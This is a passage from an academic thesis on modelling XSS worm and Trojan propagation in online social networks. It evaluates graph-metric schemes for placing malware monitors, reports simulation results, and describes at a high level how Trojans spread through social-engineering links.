by an XSS worm, all other 2,999 members will eventually get infected since they all belong

to the same clique and interact with each other. In the second scenario, only 29 members

residing in the same clique as user u will get infected, and the rest of the OSN will not

since pv = 1. We can consider user u’s community as being quarantined from the rest

of the OSN. Therefore, the time (or number of events) needed to infect x percent of the

1We were able to simulate only the smaller network in these experiments because such an experiment

required a very large amount of memory.

61



population, where x > 1, is infinity. That is, a large number of small cliques helps slow

down the worm propagation (or stops it in cases where pv = 1). In the above experiment,

we set the visiting-friends probability pv to 0.9, allowing the worm to propagate from the

initial infected user’s clique to other cliques. However, the same explanation applies: a large

number of small cliques makes the propagation slower than a few big cliques.

In the second experiment, we varied both the number of cliques k and the visiting-

friends probability pv, and measured the number of events ε90 required to infect 90% of the

population. We observe the following trends from the results given in Fig. 3.2(b). First,

given the same visiting-friends probability pv, as the number of cliques increases, more events

are required to infect 90% of the population. That is, a large number of small cliques helps

slow down the propagation compared with a smaller number of big cliques. This observation

is consistent with that from the first experiment discussed above. Second, given the same

number of cliques k, increasing the visiting-friends probability pv slows down the malware

propagation speed. This is consistent with the model and simulation results presented in

Section 3.3. Third, and most interestingly, the impact of the visiting-friends probability pv

is more pronounced when the number of cliques is high. For instance, when pv goes from

0.3 to 0.9, ε90 increases from 36,400 to 99,800 events, or 2.75 times, given k = 600 cliques.

When k = 1,000 cliques, ε90 increases from 40,700 to 136,000 events, or 3.4 times. This

observation again emphasizes the advantage of having a large number of small communities

in an OSN. In times of XSS worm attacks, if each of these communities is monitored, this

will slow down the worm propagation, allowing the network administrator more time to

detect and eliminate the worm. This concept is consistent with disease prevention and

control practices in the field of health care.

3.5 Clustering Coefficients

In addition to the visiting-friends probability and clique size, the highly clustered structure

of an OSN, or its clustering coefficient, also plays an important role in the propagation speed

of a malware. To illustrate this point, we compare the propagation speed of a malware in

a synthesized OSN with that in an equivalent random graph (ERG). Given an OSN graph,

we can use an algorithm such as the one by Viger and Latapy [3] to re-connect the vertices

of the original OSN graph (i.e., to generate a different set of edges) so that the resulting

ERG still has the same number of nodes, number of edges, and maximum and average node

degrees as the original OSN. However, since the edges are different, the ERG will have

a different clustering coefficient, usually much lower than the clustering coefficient of the
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original OSN graph.

Given the two OSN graphs with sizes N1 = 3, 000 and N2 = 10, 000 nodes and clustering

coefficients C1 = 0.19 and C2 = 0.15, respectively, as described in Section 3.2, we created two

ERGs of the same sizes with clustering coefficients C ′1 = 0.005 and C ′2 = 0.004, respectively.

We recorded the number of infected users at the end of each event, assuming a visiting-

friends probability pv = 0.9 in all four networks. The results in Fig. 3.3(b) illustrate

the number of infected users as a function of the number of events (visits). The graphs

show that, although an OSN graph and its ERG share the same probability pv and other

parameters (e.g., number of edges, maximum and average node degrees), the infection rates

are different in the two networks. The propagation is slower in the original OSN graph

than in the ERG thanks to its higher clustering coefficient. For example, in the 3000-node

networks, after 40,000 events, there are 1, 300 infected users in the OSN graph versus 2,100

infected users in the ERG. Given a high visiting-friends probability, people tend to visit

their friends within a community much more often than strangers. Given a high clustering

coefficient, a malware will circulate for a while in a community among friends before reaching

out to other parts of the OSN, slowing down the malware propagation.

The above analytical models and simulation results show that users’ tendency to visit

their friends more often than strangers and the community structure help slow down the

propagation of XSS worms in OSNs. The issue is how we can take advantage of these

properties to make malware detection more resource-efficient than the exhaustive checking

method used by Facebook [34].

In this chapter, “resource efficiency” is defined as follows. Suppose that the OSN is

capable of scanning (monitoring) N nodes in a fixed period of time T . To scan one node,

the system uses α scanning techniques to detect a malware, and each technique is executed

by a request from the system. Therefore, in the time interval T , the monitoring system is

capable of handling N × α requests. Suppose that the processing power needed to handle

these requests is equal to Ω units, where a unit can be defined as the number of machine

instructions executed in time interval T .

By monitoring only a subset of strategically selected nodes, we reduce the number of

nodes to be scanned from N to a fraction of N , say, N
k (at the cost of potentially more

infections before the first detection). Thus, the monitoring system receives on average N
k ×α

scanning requests, resulting in less processing power needed, i. e., Ω
k .

Given less processing power needed to scan less nodes, the system has the option of uti-

lizing the available processing power to apply more rigorous and power-demanding scanning

techniques, that can lead to the detection of highly sophisticated or zero-day malware.
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In this chapter, we explore the possibility of using the selective monitoring approach

instead of the exhaustive checking method. In particular, we present a study of potential

selective monitoring schemes. In a selective monitoring scheme, we do not intent to monitor

every user in the OSN. Instead, we monitor only a subset of users and their friends’ activities.

We can take advantage of the characteristics of OSNs as discussed above to select this subset

of users to be monitored, so that the coverage is maximized while we can minimize resource

usage. The subset of users to be monitored is selected using different metrics that take into

account the highly clustered structure, short average distance and node degree distribution

of a social network. Our selective monitoring approach identifies optimal placeholders to

implement detection systems that are able to identify XSS malware in OSNs. This systems

include but is not limited to Pathcutter [39] and Spectator [116].

3.6 A Study of Selective Monitoring Schemes

In these schemes we first select a set of important users and monitor these users’ and their

friends’ activities and read/write posts for malware threats. We call these important users

candidates to be monitored or ”candidates” for short. After selecting candidates, we apply

monitoring techniques such as those used in the Facebook system [34], PathCutter [39], or

Spectator [116] in a distributed manner to monitor only the candidates’ and their friends’

posts.

There are two questions to be answered. How do we select candidates to be monitored?

How many candidates should we deploy in an OSN? We address the first question in Sec-

tion 3.6.1 by examining five metrics for selecting monitored candidates. The answer to the

second question involves a trade-off between resource consumption and the required detec-

tion time. The more candidates we deploy, the faster we can detect a malware propagating

in the network.

3.6.1 Candidate Selection Metrics

We have identified five metrics that can be used to select candidates to monitor, all based

in the relative importance of a node in the network. The five metrics are node degree,

closeness [117], betweenness [117], PageRank [117] and cross-clique connectivity. The close-

ness, betweenness and PageRank metrics leverage upon the short average distance property

of an OSN to detect malware propagation. The node degree and cross-clique connectivity

metrics, on the other hand, take advantage of the highly clustered structure of an OSN for

malware detection. Following are the definitions of the five metrics.
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Table 3.3: Different metric measures based on Fig. 3.4

Metric v1 v2 v3 v4 v5 v6 v7 v8 v9 v10 v11 v12

Degree 4 4 4 4 6 2 7 1 1 1 1 1

Closeness 0.47 0.47 0.47 0.47 0.68 0.55 0.73 0.44 0.44 0.44 0.44 0.44

betweenness 0 0 0 0 28 0 40 0 0 0 0 0

PageRank 0.09 0.09 0.09 0.09 0.14 0.06 0.23 0.04 0.04 0.04 0.04 0.04

Cross

Connectivity
11 11 11 11 12 1 1 0 0 0 0 0

Node Degree

This is the simplest metric among the five. The degree deg(v) of a node v is the number of

edges incident on v. Given the example OSN in Fig. 3.4, if we selected two candidates to

monitor, they would be nodes v7 and v5. Their degrees are higher than those of the others

(see Table 3.3): deg(v7) = 7 and deg(v5) = 6.

A network sanitization scheme suggested by Yan et al. [28] selects nodes with the highest

degrees, inspects messages going in and out from these nodes, and removes embedded

malicious URL, if any.

Closeness

To measure the closeness of a node in a graph G(E, V ), we first calculate the farness of

that node. The farness of the node is defined as the sum of the lengths of the shortest

paths from that node to the other nodes in G. The closeness is defined as the inverse of

the farness. Hence, the higher the closeness of a node is, the lower its total distance to all

other nodes. This measure represents how fast a message sent by node s will reach all other

nodes, assuming node-to-node delay is the same on all links. Let d(u, v) denote the length

of (number of hops on) the shortest path between u and v, the closeness D(v) of node v is

defined as:

D(v) =
1∑

u∈V l(u, v)
(3.8)

In the example OSN in Fig. 3.4, the top two candidates to be selected based on the closeness

metric are v7 and v5. Their closeness values are D(v7) = 0.73 and D(v5) = 0.68, higher

than those of the other nodes (see Table 3.3).

As an attack strategy, it would be wise to infect nodes with high closeness values first,

since they are the closest to the other nodes. This would allow a malware/virus to propagate
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fast throughout the whole network. By the same reasoning, Tang et al. [118] also select

nodes with high closeness values as starting points to distribute ”disinfecting” patches in a

mobile network in order to contain an active malware.

Betweenness

The betweenness B(v) of a node v is defined as the number of shortest paths from all

possible pairs in a graph that traverse node v.

B(v) =
∑

s 6=v 6=t,s,t,v∈V

σst(v)

σst
, (3.9)

where σst denotes the total number of shortest paths from a node s to a node t, and

σst(v) represents the number of paths that traverse node v. The betweenness CB of node

v determines the influence of v on the information flow passing through the node. The

betweenness values of the nodes in the example OSN are given in Table 3.3, which shows

that v7 and v5 are the top two candidates to monitor. Their betweenness values are the

highest with D(v7) = 40 and D(v5) = 28.

Tubi et al. [37] studied a similar metric named ”group betweenness” which measures

the betweenness of a group of nodes instead of an individual node. Nodes with high ”group

betweenness” values are monitored in order to slow down malware propagation in an email

network.

PageRank

PageRank is an algorithm that assigns a numerical weighting to each entity of a collection of

entities with reciprocal references. PageRank is used by the Google Internet search engine

to rank web pages on the Internet [119]; in this case, entities to be weighted are web pages. If

a website A links to a website B and B links to A, they are reciprocally linked (reciprocally

referenced). In this context, a PageRank value of a website A represents the likelihood that

Internet users who start on a random page and then follow random links (on that page or

from the entire web) will arrive at website A.

If we apply this concept to an OSN, then entities are users of the OSN, and reciprocal

references are friendships between users. Heideman et al. [120] use the PageRank metric to

identify key users in an OSN. In this context, a PageRank value of a user v can be used

to indicate the likelihood that a malware that starts randomly somewhere in the OSN and

propagates in the network will reach and infect v. Therefore, we should monitor users with

high PageRank values in order to catch a malware in its early stage of propagation.
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PageRank values of nodes (web pages) in a network can be computed either iteratively

or algebraically [121]. These two methods are described in Appendix 3A. Table 3.3 lists

the PageRank values of the nodes in the example OSN in Fig. 3.4, calculated using the

iterative method. Nodes v7 and v5 have the highest PageRank values, and thus the highest

probability of being infected by a malware starting at a random node in the network. Thus

they should be candidates for monitoring.

Cross-Clique Connectivity

We propose a new metric that measures the connectivity of a node to different communities

or cliques. The cross-clique connectivity X(v) of a node v is the number of cliques to which

v belongs. A node with a high X(v) value is called a highly cross-connected node. In every

day life, a well-cross-connected person would travel among many communities, and thus be

a potential disease carrier from one community to another in case of a disease outbreak or

epidemic. Therefore, this person should be monitored in such a case. We apply the same

concept to monitoring users in an online social network.

The algorithm for computing the cross-clique connectivity of a node is given in Appendix

3B. The example social network in Fig. 3.4 has a total of 17 cliques, which are listed in

Table 3.1. In this example network, node v5 has the highest cross-clique connectivity,

X(v5) = 12. The cross-clique connectivity values of the other nodes are listed in Table 3.3.

If we wish to select one more highly cross-connected node to monitor in addition to v5, any

of the following nodes can be chosen: {v1, v2,v3,v4} since they have the same cross-clique

connectivity value of 11.

In the above examples, nodes v5 and v7 are almost always selected as the best nodes to

monitor. However, in real large networks, the set of candidates given by a metric may not

be the same as the set given by another. For instance, the node with the highest degree

in an OSN may not be the node with the highest closeness or betweenness value in that

network.

Given several metrics defined in the literature for selecting candidates to be monitored,

which one should we choose to apply to malware detection in a social network? We per-

formed simulations to answer this question.

3.6.2 Simulation Settings

We carried out simulations to study the effectiveness of the above five metrics with respect

to malware detection. We used three OSN graphs of 10,00, 20,000 and 100,000 nodes whose
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parameters are listed in Table 3.1. As can be seen from the Table 3.1, the largest clique size

in all four OSN graphs is equal to four. The distribution of clique sizes are also shown in the

same table. For each metric, we selected the top 1, 7, 15 and 20 candidates, respectively,

and set up the system to monitor their friends’ activities and posts.

We define an event in the simulation to be the action of visiting or accessing a user’s

profile by some other user. We assume that events in an OSN happen consecutively one

after another. (Two different users may click on the same profile at the same time. Their

access requests, however, will be queued at a server consecutively, waiting to be processed.

The two events are thus considered to happen one after the other.)

The simulation software is implemented using MATLAB. The simulation is of discrete-

event type, consisting of discrete virtual time slots. A time slot is equivalent to an event

defined above. At the start of each run, we choose a node randomly using a uniform

distribution and infect it with the malware. In each time slot, a user (node) j is chosen

randomly with a probability of 1
N and the user will visit a friend’s profile with a probability

pv = 0.9 and a non-friend user’s profile with probability 1− pv = 0.1. Two users are friends

if and only if their corresponding vertices are adjacent in the OSN graph. User j will become

infected if she visits an infected friend with a probability pv or an infected stranger with a

probability 1− pv.
The monitoring action is simulated as follows. In each time slot, the simulation code at

each candidate’s node checks the messages read/posted by the candidate’s friends. If one

of these messages contain the malicious code (which is identified by a unique signature),

the code will detect its presence and raise an alarm. The malware is considered detected

and the simulation is ceased. We then count the number of nodes that were infected (i.e.,

read/posted the malicious code) at this point and record that number.

Each data point in the result graphs is the average of 100 runs, each with a different

random seed.

3.6.3 Discussion

A selected candidate user may be technical savvy or unfamiliar with computer security.

Although it is unlikely for a (non-malicious) technical savvy user to become infected and

disseminate malware, he can still receive malicious contents from his friends, due to his

position in the social network. Therefore, this user, although being technical savvy, is a

strategically excellent candidate for monitoring.
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3.6.4 Simulation Results

The numbers of infections before the first detection given by the five metrics are shown in

Fig. 3.5(a), 3.5(c) and 3.5(e) for the 10,000-node, 20,000-node and 100,000-node networks,

respectively. We also magnify those graphs for x-axis values from 7 to 20 candidates as

shown in Fig. 3.5(b), 3.5(d) and 3.5(f).

The results in Fig. 3.5(a), 3.5(c) and 3.5(e) show that the five metrics have similar

effectiveness in terms of malware detection time. The reason is that the set of candidates

computed from one metric can overlap partially or completely with the set computed by

another metric, depending on the network topology. For instance, in the 100,000-node

network, 95% of the top 20 candidates are the same in all five cases (metrics), leading

to their similar performance with respect to detection time. We note, however, that the

closeness metric is the worst performer among the five, and the cross-clique connectivity

metric is always among the best performers.

Given that several metrics offer similar performance in terms of malware detection time,

the decision as to which metric we should use to select candidates can be made using other

factors, such as the complexity of computing the set of candidates to be monitored. Table 3.4

in Appendix 3B shows the complexities of the algorithms used for selecting candidates based

on the five metrics. The information suggests that the node degree and PageRank metrics

offer the best of both worlds, detection time and computation overhead.

The graphs also show a trade-off between resource consumption and detection time: the

more nodes are monitored, the earlier a malware can be detected (i.e., the less nodes are

infected before the malware is detected). For example, in the 100,000 node case in Fig.

3.5(e), given 7 candidates to monitor, the number of users infected before the first detection

is approximately 55 users. Given 20 candidates to monitor, the number of infections before

the first detection is reduced to 34 users.

To demonstrate the effectiveness of the selective monitoring approach, we repeated the

above experiments, but selected the candidates to monitor randomly. The results of this

set of experiments are illustrated by the graph in Fig. 3.6(a), with the magnified curves

shown in Fig. 3.6(b). The results indicate that the random selection approach takes longer

to detect a malware than any of the above five metrics. For instance, in the 100,000-node

network with 15 candidates to monitor, the average number of infections before the first

detection is 32.84 users for the cross-clique connectivity metric, and 2407 users for the

random selection scheme, a staggering difference of more than 75 times.

To further illustrate the advantage of the selective monitoring method versus random
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candidate selection, we add the curve of the closeness metric in Fig. 3.5(e) to Fig. 3.6(a),

resulting in Fig. 3.6(c), with the magnified curves shown in Fig. 3.6(d). Figs. 3.6(c)

and 3.6(d) show that even the worst performer of the selective monitoring method − the

closeness metric − still outperforms the random candidate selection approach. For instance,

in the 100,000-node network with 7 candidates to monitor, the average number of infections

before first detection is 62 users for the closeness metric, and 5010 users for the random

selection scheme, a difference of about 80 times.

To further compare the random selection approach with the selection scheme based

on the closeness metric, we increase the number of candidates to monitor to 50, 100 and

200 nodes. The result in Fig. 3.6(e) demonstrates that the selective monitoring method

outperforms the random selection scheme in all cases. For example, given 100 candidates

to monitor, the average number of infections before the first detection is 20 users for the

closeness metric, and 356 for the random selection scheme, a difference of approximately 18

times.

In summary, most metrics defined in the literature have similar performance in terms

of detection time. However, the closeness metric in general is the worst performer among

the five, and the cross-clique connectivity metric is always among the best performers. All

the five metrics outperform random selections of monitored candidates by a large margin.

3.7 Chapter Summary

We present analytical models and simulation results that characterize the propagation of

XSS worms in OSNs. We show that the propagation speed of an XSS worm in an OSN

depends on three major factors. First, if users visit their friends more often than strangers,

this will help slow down the propagation. Second, a large number of cliques also contributes

to decreasing the speed of propagation. Third, the highly clustered structure of an OSN

helps contain an XSS worm within a community for some time before it reaches other

communities, slowing down the propagation.

The above results show that it is feasible to detect a malware in its early stage of

propagation by monitoring only a subset of users of an OSN and taking advantage of the

characteristics of OSNs. We present a study of five metrics used to select candidates for

monitoring: node degree, closeness, betweenness, PageRank and cross-clique connectivity.

Our simulation results show that the metrics perform similarly in terms of detection time,

with the cross-clique connectivity being among the top performers. There are metrics that

offer a good trade-off between detection time and computation overhead such as node degree
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(a) Performance of the five candidate selection met-

rics in an OSN with N = 10, 000 nodes
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(b) Graph 3.5(a), magnified to show the results of 7 -

20 candidates
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(c) Performance of the five candidate selection metrics

in an OSN with N = 20, 000 nodes
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(d) Graph 3.5(c), magnified to show the results of 7 -

20 candidates
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(e) Performance of the five candidate selection metrics

in an OSN with N = 100, 000 nodes
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(f) Graph 3.5(e), magnified to show the results of 7 -

20 candidates

Figure 3.5: Performance of different selective monitoring metrics
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(a) Candidates randomly selected, N = 10, 000,

20, 000 and 100, 000 nodes

7 15 20
0

1000

2000

3000

4000

5000

6000

Number of Monitoring Nodes

N
u

m
b

er
 o

f 
in

fe
ct

io
n

s 
b

ef
o

re
 d

et
ec

ti
o

n

 

 

Random, N=20,000
Random, N=10,000
Random, N=100,000

(b) Graph 3.6(a), magnified to show the results of 7 -

20 candidates
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(c) Graph 3.6(a), including the closeness metric from

Graph 3.5(e)
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(d) Graph 3.6(b), including the closeness metric from

Graph 3.5(f)
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(e) Random vs. Closeness candidate selection for 50,

100 and 150 candidates, N = 100, 000

Figure 3.6: Performance of the random selection scheme
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and PageRank. All five metrics outperform random placements of monitored candidates by

a large margin.
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Appendix 3A - PageRank Algorithms

The Iterative Method

In the first round at t = 0, an initial probability distribution is assumed for every node as

R(vi, 0) = 1
N , where N is the total number of nodes in the graph. In the (t+ 1)th iteration,

the PageRank value of each node is computed using the following equation :

R(vi, t+ 1) =
1− d
N

+ d
∑

vj∈M(pi)

R(vj , t)

L(vj)
(3.10)

where vi is the ith vertex, M(vi) is the set of nodes adjacent to vi, L(vj) is the number of

edges incident on node j, and d is the damping factor where 0 < d < 1. The algorithm will

converge to a certain value for each vertex which is the corresponding PageRank value of

that vertex [119].

The Algebraic Method

Given vector <(t+ 1) defined as follow:

<t+1 =


R(v1, t+ 1)

R(v2, t+ 1)
...

R(vn, t+ 1)


we have

<(t+ 1) = d×Ψ×<(t) +
1− d
N
× 1 (3.11)

Matrix Ψ equals to (K−1A)T , where matrix A denotes the adjacency matrix of the graph

and K is the diagonal matrix with the number of edges incident on a node in the diagonal.

Matrix 1 is a column vector of length N that contains only number one. The algorithm

stops when, for a small value of ε, ‖<(t+ 1)−<(t)‖ < ε.

Appendix 3B - Algorithm for Finding Highly Cross-connected

Nodes

Given a graph G = (V,E) representing an OSN, each vertex represents a user and an

edge represent the existence of a relationship (friendship) between the two respective users.

We first find small cliques within an OSN. Finding cliques in a graph is a NP-complete
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problem [122]. Thus a few heuristics [123] have been proposed to solve the problem. After

obtaining the cliques, we search for a set of well-cross-connected members, those who belong

to several cliques. We apply a heuristic such as the one by Tsukiyama et al. [123] to find

the cliques of G. The results is a set of k cliques C = {c1, c2, . . . , ck}, where ci ⊂ V and

1 ≤ i ≤ k. A vertex may be present in several cliques if the corresponding user belong to

several communities. We assign a counter uj to each user j ∈ V . We then examine the

cliques one by one. If a user j belongs to a clique, we increment the counter uj by one. After

all the cliques have been examined, counter uj contains the number of cliques to which user

j belongs to. We then sort the counters in the descending order. The algorithm for finding

list L1 of well-cross-connected members is summarized by Algorithm 1.

Algorithm 3 Finding well-cross-connected nodes

1: Input: a set of cliques C = {c1, c2, . . . , ck}; a set of counters Q = {u1, u2, . . . , uN}
2: Output: Ordered set of well-cross-connected nodes stored in List;

3: for i = 1→ k do

4: for each user i in ci do

5: uj = uj + 1

6: end for

7: end for

8: List← sort Q in non-increasing order

9: return List

List of Cliques

Following are the 17 cliques in the example social network graph in Fig. 3.4: {v1, v2, v3},
{v1, v2, v4},{v1, v2, v5}, {v1, v3, v4}, {v1, v3, v5}, {v1, v4, v5}, {v2, v3, v4}, {v2, v3, v5}, {v2, v4, v5},
{v3, v4, v5}, {v5, v6, v7}, {v1, v2, v3, v4}, {v1, v2, v3, v5}, {v1, v2, v4, v5}, {v1, v3, v4, v5}, {v2, v3, v4, v5},
and {v1, v2, v3, v4, v5}.

Complexity of the Algorithms

The complexity of the algorithms for computing the five metrics discussed in Section3.6

is given in Table 3.4, where |V |, |E|,∆, and µ denote the number of vertices, number of

edges, maximum degree of the graph, and number of maximal independent sets of the graph

respectively.

We ran experiments to measure the actual running time of each algorithm using the
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Table 3.4: Complexity of different schemes

Metric Running Time

Degree Θ(|V |+ |E|) [124]

Closeness O(|V |3) [125]

Betweenness O(|V | × |E|) [125]

PageRank O(|V |) [126]

Cross-clique Connectivity O(∆4 × µ) [123]

four OSNs whose characteristics are listed in Table 3.1. We used a 64-bit computer with an

Intel(R) Core i7-2700K 3.5 GHz processor running Windows 7 and 16 gigabytes of RAM.

Table 3.5 summarizes the results. Each number in the table is the average from 10 runs

using different random seeds.

It is obvious that the larger the graph, the longer the running time. These results show

that the node degree and PageRank metrics offer a good trade-off between computation

overheads and detection time (see also Fig. 3.5). Note, however, that in a real OSN the

algorithms are not executed in real-time, but only periodically after several changes have

been made to the network (e.g., users join/leave the OSN, new friendships (edges) added

to the graph).

Table 3.5: Running time of the algorithms in seconds

Metric 3,000 10,000 20,000 100,000

Degree 0.005 s 0.006 s 0.006 s 0.01 s

Closeness 0.45 s 5 s 95 s 1,063 s

Betweenness 0.76 s 9 s 42 s 3,094 s

PageRank 0.022 s 6 s 12 s 78 s

Cross-clique Connectivity 2.3 s 63 s 129 s 2,291 s
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Chapter 4

Modeling the Propagation of

Trojans in OSNs

4.1 Introduction

As discussed in Chapter 1, there are two major types of malware that target online social

network users: cross-site scripting worm and Trojan:

• Cross-site scripting (XSS) worms: These are passive malware that exploits vulnera-

bilities in web applications to propagate themselves without any user intervention.

• Trojans: A Trojan is a type of malware that is often disguised as legitimate software.

Users are typically tricked by some form of social engineering into opening them (and

thus loading and executing Trojans on their systems). Trojans are the most common

method used to launch attacks against OSNs users, who are tricked into visiting

malicious websites and subsequently downloading malware disguised as legitimate

software (e.g., Adobe Flash player). There are many variants of Trojans operating in

OSNs, including clickjacking worms [15] and extension-based malware [16].

Compared with XSS worm, Trojan is the more popular type of malware targeting OSN

users. Over the past few years, Facebook users have experienced hundreds of separate

Trojan malware attacks [31,40,41]. For instance, the first variant of an OSN Trojan browser

extension called Kilim appeared in November 2014 [40]. From November 2014 to November

2016, almost 600 variants of Kilim were discovered [42]. In most cases, a Trojan disguises

itself as a legitimate software. For instance in two major Trojan attacks on Facebook,

the Trojan posed itself as an Adobe Flash player update [31, 41]. In a more recent attack
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discovered in 2015 [41], a message enticed the victims to click on a link that redirected them

to a third-party website unaffiliated with Facebook where they were prompted to download

what was claimed to be an update of the Adobe Flash player. If they downloaded and

executed the file, they would infect their computers with a Trojan malware.

Trojans installed on a user’s computer have the ability to access contents on the com-

promised system, including social network contents, credit card information, and login cre-

dentials. It can even spread itself further by infecting other systems on the same network.

Such Trojans have the ability to form a botnet to open up channels for attackers to send

further payloads such as ransomware. Such a Trojan is a variant of Locky ransomware dis-

covered in November 2016 [17], which was delivered via JPEG and SVG files via Facebook

Messenger.

Given the popularity of and potential damages inflicted by Trojans, it is important to

understand their propagation dynamics in OSNs in order to detect, contain and remove

them as early as possible. Therefore, our objective is to model and study the propagation

of Trojans in social networks such as Facebook, LinkedIn and Orkut. (These networks can

be represented by undirected graphs, in which each vertex represents a user, and each edge

represents the mutual relationship between the two users denoted by the two end vertices.)

The remainder of this Chapter is organized as follows. In Section 5.6, we discuss the

propagation mechanism of Trojan malware in OSNs. In Sections 4.3 and 4.4, we describe

the proposed analytical model. We validate the model in Section 4.5.Finally we conclude

the article in Section 4.8.

4.2 Propagation Mechanism of Trojan Malware in Online So-

cial Networks

In this section, we describe the process used by one or more real-world Trojan malware (e.g.,

Koobface [31], Magnet [41] and generic extension based malware [16] such as Kilim [40,42]

to attack OSN users and propagate in a network. Such a process consists of three stages:

1. In the first stage, the malware developer creates one or more fake profiles and infiltrates

them into the social network. The purpose of these fake profiles is to make friends

with as many real OSN users as possible. Infiltration has been shown to be an effective

technique for disseminating malicious content in OSNs such as Facebook [14].

2. In the second stage, the malware developer uses social engineering techniques to create

eye-catching web links that trick users into clicking on them. The web links, which are
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posted on the fake users’ walls, lead unsuspecting users to a web page that contains

malicious content. A user simply needs to visit or “drive by” that web page, and

the malicious code can be downloaded in the background and executed on the user’s

computer without his/her knowledge. This type of attack is called drive-by download

and is caused by vulnerabilities in browsers, apps or operating systems that are out

of date and have security flaws [106].

When security flaws are absent, malware creators resort to social engineering tech-

niques to get assistance from users to activate the malicious code. For instance, after

a user lands on the malicious web page, he/she is asked to click on a button to down-

load a software (e.g., an updated version of the Adobe Flash player) or to play a

video. If the user clicks on the button, he/she is actually downloading and executing

a malware.

In either case, drive-by or user-assisted download, the user’s computer is infected.

The computer can then be controlled by the attacker(s) to perform other malicious

activities such as stealing confidential information stored on the computer, attacking

other computers on the same network, or mounting denial of service attacks against

vulnerable websites.

3. In the third stage, after a user u is infected, the malware also posts the eye-catching

web link(s) on the user’s wall (i.e., via newsfeed), to “recruit” his/her friends. If a

friend of u clicks on the link(s) and, as a result, unknowingly executes the malware,

the friend’s computer and profile will become infected as described in stage 2 and the

propagation cycle continues with his/her own friends.

The above process is illustrated by the diagram shown in Fig. 4.1. In this example, the

malware posts a malicious link on an infected user’s wall, enticing the infected user’s friends

to watch a video (step 1). Friends of the infected user who follow the malicious link will

land on a web page that hosts an object that looks similar to a video player (step 2). After

clicking the “play” button, the friend receives a notification that he/she requires a software

(or a “plugin”) in order to watch the video (step 3). Users who download and execute the

“plugin” are actually and unknowingly executing the malware and become infected (step

4). The malware will then post the malicious link on the walls of the newly infected users

to lure their friends to the web page that hosts the fake video player, and the propagation

cycle continues with more new victims. Note that the wall concept may not exist in some

social networks. In this case, we can assume, without loss of generality, that the malware
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Figure 4.1: Example of Trojan malware propagation in online social networks

sends the malicious link directly to an infected user’s friends via the OSN private messaging

system.

4.3 Overview of the Proposed Malware Propagation Model

In this section, we present an overview of the proposed model and underlying assumptions.

4.3.1 Modeling Approach

In the literature, epidemic models can be classified into two main categories: SIS (susceptible-

infected-susceptible) and SIR (susceptible-infected-recovered). SIS models [21, 71, 127, 128]

assume that an infected user, after being disinfected, will become susceptible again and thus

may be re-infected by the same disease (malware). SIR models [18–20,22,25], on the other

hand, assume that an infected user, after being disinfected (having recovered or becoming

immune), will not be re-infected again by the same disease (malware).

The SIS approach is not suitable for modeling Trojans in online social networks, because

it does not support the immune state. In practice, users who have anti-virus software

installed may be immune against a particular malware.

Our proposed model is based on the SIR approach. Previous SIR models suffer from

one or more of the following drawbacks:

• Many models [18–21] assume homogeneous mixing as mentioned earlier, and thus

overestimate the infection rate in a real OSN.
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• Some models [24, 25] assume that users check newly arriving messages at every time

unit, and all users have the same message checking time (usually one time interval).

These models do not consider the temporal dynamics of user activities.

• Some models incur high computational complexity, such as O(E2) [22], where E is

the number of edges (friendships) of the social network graph.

Our proposed model is a spatial-temporal SIR model that takes into account the topo-

logical characteristics of real-world social networks and temporal dynamics of user activities.

Furthermore, it considers characteristics of modern Trojans (e.g, malware blocking users’ ac-

cess to AV provider websites), security practices (e.g., users installing AV products on their

computers, AV manufacturers gradually releasing updates/patches against a newly propa-

gating malware), and user behaviour (e.g., seeking assistance from OSN friends to clean up

infected computers). None of previous works on modeling worms/malware in OSNs con-

sidered the above factors. The proposed model has low computational complexity, in the

order of O(E).

4.3.2 User States

We assume that all the users are vulnerable to the new malware M when it first appears

in the social network, i.e., at t = 0. That is, all users are in the susceptible state at time

t = 0. As time passes, susceptible users may stay susceptible, or transition to the immune

state thanks to a defensive mechanism such as an antivirus program against malware M ,

or become infected by the malware after clicking on the malicious link. Infected users can

recover by finding clean-up solutions to remove the malware from their systems, or may

stay infected. If users have recovered from an infection or become immune, they are no

longer vulnerable to malware M and thus will no longer be infected by it.

Therefore, at a specific point in time, each node (user) in the network can be in one

of the following four different states with respect to a particular malware M : susceptible,

infected, recovered and immune.

• A susceptible node is a node that is vulnerable to malware infection but otherwise

“healthy”.

• An infected node is a node that became infected and may potentially infect other

nodes.

81



• A recovered node is a node that was infected but the user was able to find solutions to

remove the malware from his computer and profile; the node is thus no longer infected

or susceptible to the malware M.

• An immune node is a node that is unable to become infected thanks to a defensive

mechanism existing on the system (e.g., having an antivirus program able to detect

and block the malware M ). A node may also be immune to the malware M because

the user’s operating system is not targeted by the malware. For example, the malware

exploits a vulnerability in and attacks only Windows systems, but not Linux or Mac

systems.

At time t = 0, all users are in the susceptible state. At each time unit t > 0, a user i may

move from one state to another, as shown in Figure 4.2, which depicts the state transition

diagram of a user. The definitions of the transitional probabilities γi(t), βi(t) and αi(t) are

provided in Table 4.1; their computations are discussed in Sections 4.4.1, 4.4.2 and 4.4.3,

respectively.

Sus

Inf Rec

Imm1− γi(t)− βi(t)

γi(t)

βi(t)

αi(t)

1− αi(t) 1

1

Figure 4.2: State transition diagram of node i

To model the user states, we define random variable Xi(t) to denote the state of node i

at each time unit t, as follows:

Xi(t) =



Sus, if node i is susceptible at time t;

Inf, if node i is infected at time t;

Rec, if node i is recovered at time t;

Imm if node i is immune at time t

(4.1)
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4.3.3 Temporal Dynamics

We consider the temporal dynamics of user activities by defining τi as the message checking

time period of user i. That is, user i visits the social network and check new posts or

messages every τi time units. This definition of user message checking time is common in

previous works [22, 23, 25]. According to this definition, at each time unit t, all the users

whose τi values satisfying (t mod τi = 0) visit the OSN and check their messages. A user

i’s message checking time is defined formally using a discrete random variable P (visiti(t) =

true) as follows:

P (visiti(t) = true) =

1, if t mod τi = 0;

0 otherwise
(4.2)

For instance, if τi = 10, user i would visit the OSN and check messages at time t =

10, 20, 30, . . . . Another user j may visit the OSN more often than user i and has τj = 4.

User j would visit the OSN and check messages at time t = 4, 8, 12, . . . . We take into

account the temporal dynamics of user activities in our model by considering user message

checking time τi.

4.3.4 Assumptions

We make the following assumptions:

1. To simplify the discussion of the model, we assume each user is associated with only

one device that is used to access the social network such as a smart phone, tablet,

laptop or desktop. (In practice a user may have access to multiple devices, such as

a desktop computer at work [owned by the employer] and a smart phone [personally

owned by the user]. In this case, the user usually avoids using the employer-owned

computer for personal use.)

2. When we say “a user is infected”, we mean that the user unknowingly downloaded

and executed the malware (step 2 in Section III), and his profile and his computer are

subsequently infected.
